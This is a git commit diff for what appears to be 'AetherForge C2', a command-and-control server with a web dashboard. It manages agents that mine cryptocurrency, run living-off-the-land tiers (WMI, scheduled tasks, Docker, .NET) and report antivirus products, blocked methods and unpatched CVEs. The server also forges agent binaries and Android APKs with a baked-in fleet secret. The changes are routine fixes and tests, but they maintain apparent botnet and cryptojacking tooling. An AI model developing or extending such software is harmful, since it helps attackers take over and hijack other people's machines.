Compare commits
1 Commits
main
...
forge-prog
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
689e574f7a |
2
.gitignore
vendored
2
.gitignore
vendored
@@ -82,7 +82,7 @@ _*.txt
|
|||||||
/server/*cov*
|
/server/*cov*
|
||||||
|
|
||||||
# Local APK / test logs (not tracked)
|
# Local APK / test logs (not tracked)
|
||||||
/agent-tablet-1.apk
|
/agent-*.apk
|
||||||
/server/web/test-output.txt
|
/server/web/test-output.txt
|
||||||
|
|
||||||
# Go build cache (local)
|
# Go build cache (local)
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package client
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"os/exec"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -15,6 +16,24 @@ import (
|
|||||||
// real engine so handleMessage can call pool.SetJob without panicking.
|
// real engine so handleMessage can call pool.SetJob without panicking.
|
||||||
func newTestClient(t *testing.T) *AgentClient {
|
func newTestClient(t *testing.T) *AgentClient {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
SetPostureCollector(func() *PostureReport {
|
||||||
|
return &PostureReport{}
|
||||||
|
})
|
||||||
|
miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||||
|
return exec.Command("cmd.exe", "/c", "exit 1")
|
||||||
|
})
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||||
|
return miner.ContainerRuntimeInfo{}
|
||||||
|
})
|
||||||
|
miner.SetWSLDetector(func() miner.WSLRuntimeInfo {
|
||||||
|
return miner.WSLRuntimeInfo{}
|
||||||
|
})
|
||||||
|
t.Cleanup(func() {
|
||||||
|
SetPostureCollector(nil)
|
||||||
|
miner.SetProbeExecCommand(nil)
|
||||||
|
miner.SetRuntimeDetector(nil)
|
||||||
|
miner.SetWSLDetector(nil)
|
||||||
|
})
|
||||||
b := config.GetBuiltinConfig()
|
b := config.GetBuiltinConfig()
|
||||||
b.Threads = 1
|
b.Threads = 1
|
||||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||||
|
|||||||
@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
err := o.invokeTier(tier, hooks)
|
err := o.invokeTier(ctx, tier, hooks)
|
||||||
duration := time.Since(start)
|
duration := time.Since(start)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if errors.Is(err, ErrTierChainSkipped) {
|
if errors.Is(err, ErrTierChainSkipped) {
|
||||||
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
|||||||
return "", ErrTierChainExhausted
|
return "", ErrTierChainExhausted
|
||||||
}
|
}
|
||||||
|
|
||||||
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
|
||||||
switch tier {
|
switch tier {
|
||||||
case TierDockerLoad:
|
case TierDockerLoad:
|
||||||
if hooks.StartDockerLoad == nil {
|
if hooks.StartDockerLoad == nil {
|
||||||
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
|||||||
}
|
}
|
||||||
return hooks.StartDotnet()
|
return hooks.StartDotnet()
|
||||||
case TierWMI:
|
case TierWMI:
|
||||||
attempt := RunWMITier(context.Background(), o.cfg)
|
attempt := RunWMITier(ctx, o.cfg)
|
||||||
o.recordAttemptRecord(attempt)
|
o.recordAttemptRecord(attempt)
|
||||||
if !attempt.OK {
|
if !attempt.OK {
|
||||||
if attempt.Error == "" {
|
if attempt.Error == "" {
|
||||||
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
case TierScheduledTask:
|
case TierScheduledTask:
|
||||||
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
attempt := RunScheduledTaskTier(ctx, o.cfg)
|
||||||
o.recordAttemptRecord(attempt)
|
o.recordAttemptRecord(attempt)
|
||||||
if !attempt.OK {
|
if !attempt.OK {
|
||||||
if attempt.Error == "" {
|
if attempt.Error == "" {
|
||||||
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
case TierGPUCompute:
|
case TierGPUCompute:
|
||||||
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
attempt := RunGPUComputeTier(ctx, o.cfg)
|
||||||
o.recordAttemptRecord(attempt)
|
o.recordAttemptRecord(attempt)
|
||||||
if attempt.OK {
|
if attempt.OK {
|
||||||
o.mu.Lock()
|
o.mu.Lock()
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
{
|
{
|
||||||
"server_url": "http://deck:8989",
|
"server_url": "http://10.0.0.1:8989",
|
||||||
"worker_name": "tab-1",
|
"worker_name": "cleanup-node",
|
||||||
"worker_number": "tab-1",
|
"worker_number": "cleanup-node",
|
||||||
"mining": {
|
"mining": {
|
||||||
"enabled": false
|
"enabled": false
|
||||||
},
|
},
|
||||||
"build_id": "bld-cross"
|
"build_id": "d5cb0702-953b-4a62-9fc7-e9476bdac1e0"
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -345,8 +345,6 @@ func LoadConfig() *Config {
|
|||||||
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
||||||
if cliPortExplicit {
|
if cliPortExplicit {
|
||||||
cfg.Port = cliPort
|
cfg.Port = cliPort
|
||||||
} else {
|
|
||||||
cfg.Port = cliPort
|
|
||||||
}
|
}
|
||||||
|
|
||||||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
|
|||||||
if err := json.Unmarshal([]byte(payload), &present); err != nil {
|
if err := json.Unmarshal([]byte(payload), &present); err != nil {
|
||||||
t.Fatalf("unmarshal present keys: %v", err)
|
t.Fatalf("unmarshal present keys: %v", err)
|
||||||
}
|
}
|
||||||
|
hydrateLegacyAIConfig(&incoming, []byte(payload))
|
||||||
mergeConfigExplicit(dst, &incoming, present)
|
mergeConfigExplicit(dst, &incoming, present)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -607,3 +608,18 @@ func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) {
|
|||||||
t.Fatal("test precondition")
|
t.Fatal("test precondition")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMergeConfigExplicitLegacyAIFields(t *testing.T) {
|
||||||
|
dst := DefaultConfig()
|
||||||
|
dst.Server.AIEndpoint = ""
|
||||||
|
dst.Server.AIDecisionIntervalSec = 0
|
||||||
|
|
||||||
|
applyMergeFromJSON(t, dst, `{"server":{"ai_local_endpoint":"http://local-ollama:11434","ai_interval_sec":30}}`)
|
||||||
|
|
||||||
|
if dst.Server.AIEndpoint != "http://local-ollama:11434" {
|
||||||
|
t.Fatalf("expected Server.AIEndpoint to be hydrated from legacy, got %q", dst.Server.AIEndpoint)
|
||||||
|
}
|
||||||
|
if dst.Server.AIDecisionIntervalSec != 30 {
|
||||||
|
t.Fatalf("expected Server.AIDecisionIntervalSec to be hydrated from legacy, got %d", dst.Server.AIDecisionIntervalSec)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string {
|
|||||||
|
|
||||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||||
|
h.apkBuildMu.Lock()
|
||||||
|
defer h.apkBuildMu.Unlock()
|
||||||
|
|
||||||
if req.ScoutMode {
|
if req.ScoutMode {
|
||||||
ApplyApkScoutPreset(req)
|
ApplyApkScoutPreset(req)
|
||||||
} else {
|
} else {
|
||||||
@@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
|||||||
}
|
}
|
||||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,10 +3,13 @@ package builder
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestApplyApkScoutPreset(t *testing.T) {
|
func TestApplyApkScoutPreset(t *testing.T) {
|
||||||
@@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
|||||||
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestBuildAPKAgentConcurrency(t *testing.T) {
|
||||||
|
h, database := testHandlerDB(t)
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
setFakeGoSuccess(t, h)
|
||||||
|
|
||||||
|
androidDir := filepath.Join(h.projectRoot, "android")
|
||||||
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Channel to coordinate/delay the mock builds to assert serialization
|
||||||
|
inBuildChan := make(chan struct{}, 2)
|
||||||
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||||
|
inBuildChan <- struct{}{}
|
||||||
|
// Wait a small duration to keep the lock held, letting another call try to acquire it
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||||
|
if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return apk, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(2)
|
||||||
|
for i := 0; i < 2; i++ {
|
||||||
|
go func(id int) {
|
||||||
|
defer wg.Done()
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: fmt.Sprintf("node-%d", id),
|
||||||
|
ServerURL: "http://10.0.0.1:8989",
|
||||||
|
CancelToken: fmt.Sprintf("cancel-token-%d", id),
|
||||||
|
ApkMode: true,
|
||||||
|
}
|
||||||
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||||
|
if code != 200 || !resp.Success {
|
||||||
|
t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
|
||||||
|
}
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
|
close(inBuildChan)
|
||||||
|
|
||||||
|
// Since they are serialized, they should execute one after the other.
|
||||||
|
if len(inBuildChan) != 2 {
|
||||||
|
t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
|
||||||
|
h, database := testHandlerDB(t)
|
||||||
|
// We close the database immediately so that InsertBuild fails
|
||||||
|
_ = database.Close()
|
||||||
|
|
||||||
|
setFakeGoSuccess(t, h)
|
||||||
|
|
||||||
|
androidDir := filepath.Join(h.projectRoot, "android")
|
||||||
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||||
|
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||||
|
if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return apk, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "cleanup-node",
|
||||||
|
ServerURL: "http://10.0.0.1:8989",
|
||||||
|
CancelToken: "cleanup-test-token",
|
||||||
|
ApkMode: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Capture existing files in builds dir
|
||||||
|
buildsDir := filepath.Join(h.dataDir, "builds")
|
||||||
|
_ = os.MkdirAll(buildsDir, 0755)
|
||||||
|
|
||||||
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||||
|
if resp.Success || code == 200 {
|
||||||
|
t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify that the build directory under builds/ was cleaned up
|
||||||
|
files, err := os.ReadDir(buildsDir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(files) != 0 {
|
||||||
|
var names []string
|
||||||
|
for _, f := range files {
|
||||||
|
names = append(names, f.Name())
|
||||||
|
}
|
||||||
|
t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -232,8 +232,12 @@ type Handler struct {
|
|||||||
|
|
||||||
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
|
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
|
||||||
apkBuildFn ApkBuildFunc
|
apkBuildFn ApkBuildFunc
|
||||||
|
|
||||||
|
// apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs.
|
||||||
|
apkBuildMu sync.Mutex
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||||
func (h *Handler) SetFleetSecret(secret string) {
|
func (h *Handler) SetFleetSecret(secret string) {
|
||||||
h.fleetSecret = secret
|
h.fleetSecret = secret
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -68,6 +68,9 @@ func main() {
|
|||||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
log.Println("AetherForge C2 starting...")
|
log.Println("AetherForge C2 starting...")
|
||||||
|
|
||||||
|
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
defer stop()
|
||||||
|
|
||||||
projectRoot := findProjectRoot()
|
projectRoot := findProjectRoot()
|
||||||
cfg := LoadConfig()
|
cfg := LoadConfig()
|
||||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||||
@@ -278,8 +281,13 @@ func main() {
|
|||||||
go func() {
|
go func() {
|
||||||
ticker := time.NewTicker(15 * time.Second)
|
ticker := time.NewTicker(15 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
for range ticker.C {
|
for {
|
||||||
|
select {
|
||||||
|
case <-ticker.C:
|
||||||
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
|
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -398,10 +406,13 @@ func main() {
|
|||||||
|
|
||||||
// Start server
|
// Start server
|
||||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||||
srv := &http.Server{Addr: addr, Handler: router}
|
srv := &http.Server{
|
||||||
|
Addr: addr,
|
||||||
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
|
Handler: router,
|
||||||
defer stop()
|
ReadTimeout: 30 * time.Second,
|
||||||
|
WriteTimeout: 60 * time.Second,
|
||||||
|
IdleTimeout: 120 * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
log.Printf("Server listening on %s", addr)
|
log.Printf("Server listening on %s", addr)
|
||||||
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
||||||
@@ -564,12 +575,11 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
|||||||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
|
||||||
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
|
||||||
// from the payload is treated as "not changed", not "set to false".
|
|
||||||
var presentKeys map[string]json.RawMessage
|
var presentKeys map[string]json.RawMessage
|
||||||
_ = json.Unmarshal(data, &presentKeys)
|
_ = json.Unmarshal(data, &presentKeys)
|
||||||
|
|
||||||
|
hydrateLegacyAIConfig(&incoming, data)
|
||||||
|
|
||||||
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||||||
|
|
||||||
// Save to disk
|
// Save to disk
|
||||||
|
|||||||
@@ -118,6 +118,10 @@ export default function CrucibleExpandedOps({
|
|||||||
}
|
}
|
||||||
}, [singleSelectedAgent?.mac_address, wolMac]);
|
}, [singleSelectedAgent?.mac_address, wolMac]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
setLiveDesktop(false);
|
||||||
|
}, [singleSelectedAgent?.id]);
|
||||||
|
|
||||||
const dispatchOne = useCallback(
|
const dispatchOne = useCallback(
|
||||||
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
|
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -37,4 +37,21 @@ describe('fleetGroups', () => {
|
|||||||
saveFleetGroups(groups);
|
saveFleetGroups(groups);
|
||||||
expect(loadFleetGroups()).toHaveLength(2);
|
expect(loadFleetGroups()).toHaveLength(2);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('generates unique fallback IDs for loaded groups missing an ID', () => {
|
||||||
|
// Manually saving raw JSON objects without IDs to simulate legacy state
|
||||||
|
const rawGroups = [
|
||||||
|
{ name: 'Legacy Group 1', color: '#ff0000', agentIds: [] },
|
||||||
|
{ name: 'Legacy Group 2', color: '#00ff00', agentIds: [] },
|
||||||
|
];
|
||||||
|
localStorage.setItem('aetherforge_fleet_groups', JSON.stringify(rawGroups));
|
||||||
|
|
||||||
|
const loaded = loadFleetGroups();
|
||||||
|
expect(loaded).toHaveLength(2);
|
||||||
|
expect(loaded[0].id).toBeDefined();
|
||||||
|
expect(loaded[1].id).toBeDefined();
|
||||||
|
expect(loaded[0].id).not.toBe(loaded[1].id);
|
||||||
|
expect(loaded[0].id.startsWith('fg-')).toBe(true);
|
||||||
|
expect(loaded[1].id.startsWith('fg-')).toBe(true);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -54,7 +54,7 @@ export function loadFleetGroups(): FleetGroup[] {
|
|||||||
? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
|
? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
|
||||||
: [];
|
: [];
|
||||||
return {
|
return {
|
||||||
id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`,
|
id: typeof o.id === 'string' && o.id ? o.id : `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`,
|
||||||
name,
|
name,
|
||||||
color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
|
color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
|
||||||
agentIds,
|
agentIds,
|
||||||
|
|||||||
@@ -138,6 +138,112 @@ describe('agentStatsUnchanged', () => {
|
|||||||
}),
|
}),
|
||||||
).toBe(false);
|
).toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('returns true when failed_methods, services, atlas_skips, and vuln_findings are structurally identical but have different array references', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||||
|
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||||
|
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||||
|
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||||
|
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||||
|
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||||
|
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||||
|
}),
|
||||||
|
).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns false when failed_methods change', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns false when services change', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'stopped', start_type: 'auto' }],
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns false when atlas_skips change', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'failed-5-times' }],
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns false when vuln_findings change', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: true }],
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { Agent } from '../types';
|
import type { Agent, AgentService } from '../types';
|
||||||
import type { WSStatsUpdate } from '../types/ws';
|
import type { WSStatsUpdate } from '../types/ws';
|
||||||
|
|
||||||
/** Returns true when a stats_update payload would not change visible agent fields. */
|
/** Returns true when a stats_update payload would not change visible agent fields. */
|
||||||
@@ -44,16 +44,17 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
|||||||
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
||||||
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
||||||
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
||||||
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
|
if (u.failed_methods !== undefined && !failedMethodsEq(agent.failed_methods, u.failed_methods)) return false;
|
||||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
if (u.services !== undefined && !servicesEq(agent.services, u.services)) return false;
|
||||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||||
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
|
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
|
||||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||||
